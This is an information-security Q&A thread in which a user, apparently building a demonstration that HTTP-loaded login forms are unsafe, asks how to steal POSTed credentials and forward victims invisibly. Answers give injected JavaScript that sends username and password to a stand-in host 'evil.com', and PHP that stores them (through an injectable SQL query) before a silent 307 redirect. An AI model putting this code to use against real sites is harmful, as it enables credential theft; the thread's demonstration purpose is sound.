Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

I currently have a demo site setup where I load the login form over HTTP and then POST to a HTTPS URL. The aim is to demonstrate that this is not a secure method of handling the login.

I'm using Fiddler to alter the target for the HTML form to a page of my own. I'm trying to capture the POST data but then forward the user to the genuine site with the original data so in effect my interception is invisible to the user.

I'm using PHP and I have everything working up to the point of the redirect so all the data is being stored in my database. I'm thinking perhaps a 307 including the original POST data but I'm not sure how to do this in PHP, can anyone help?

share|improve this question

3 Answers 3

This is much easier than what you're trying to do. Simply intercept the submit event and make a request to the evil page which will store the stolen credentials and return some 1x1 image, then the browser will automatically handle submitting the form to the correct legitimate destination. Here's a PoC (inject this before </body>)

var form = document.getElementById('myForm');
form.onsubmit = function(){
   var username = getElementById('userNameField').value;
   var password = getElementById('passWordField').value;
   var fakeImage = new Image();
   fakeImage.src= 'http://evil.com/evil?user=' + username + '&pass=' + password;
   fakeImage.onload = function(){document.getElementById('myForm').submit()}
   return false;
}

I'm pretty sure this is not the best way to do this, but this is just the general idea.

This is pretty much what the Tunisian government was doing to steal activists' Facebook accounts; They'd inject something like that in the HTTP-loaded homepage and steal the credentials.

share|improve this answer

If you want the browser to transparently double-submit the data then you're typically out of luck. It won't do that. But you could MITM the connection acting like a transparent proxy. That's simple enough.

PHP may not be the best language for that type of project though. This wouldn't be a web app.

ADDED

A 307 will (sometimes) cause the browser to re-submit a POST request, but if it does so the user has to accept a security confirmation dialog first. Some browsers will still do a GET off a 307 request though.

See also: Response.Redirect with POST instead of Get?

share|improve this answer
    
Ah I thought a 307 would cause the browser to re-submit to the new URL. I'm not exactly sure about how to proxy the connection but if you could link to a guide or resource that would be great. –  Scott Helme Jul 25 '13 at 20:57
    
@ScottHelme Nope, see added information. As for the transparent proxy bit, you can probably find a project that already does this and just modify it. It's a common concept. Just google it. –  tylerl Jul 25 '13 at 21:05
    
I managed to get the 307 working, and it is forwarding on POST data transparently!. –  Scott Helme Jul 25 '13 at 21:34
    
@ScottHelme just make sure you use the same browser for your demonstration, then. –  tylerl Jul 25 '13 at 21:38
2  
That is quite worrying really, only Firefox is warning me about the redirect, the other browsers I just end up being logged in with no knowledge... –  Scott Helme Jul 25 '13 at 21:41
up vote 1 down vote accepted

This sorted it out in the end. My PHP script takes the values, stores them in the database and forwards the user on. No message, no pop ups, no warnings. I'm then logged in on the target site none the wiser.

if(isset($_POST["email"]) && isset($_POST["password"])){
    $email = $_POST['email'];
    $password = $_POST['password'];
    $result = mysql_query("INSERT INTO table (email, password)
                               VALUES ('$email', '$password')");
    header("HTTP/1.1 307 Temporary Redirect");
    header("Location: http://www.***.co.uk/site/index.php");
}

Google Chrome Version 28.0.1500.72 m - NO WARNING

Internet Explorer Version 9.0.8112.16421 - NO WARNING

Mozilla Firefox Version 22.0 - Warned me.

share|improve this answer
    
That functionality is troubling / not good. –  makerofthings7 Jul 26 '13 at 1:57
    
Yeah I just changed the action of the form to my script and hey presto. It also now redirects to the https version of their URL and that works fine. –  Scott Helme Jul 26 '13 at 6:28

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.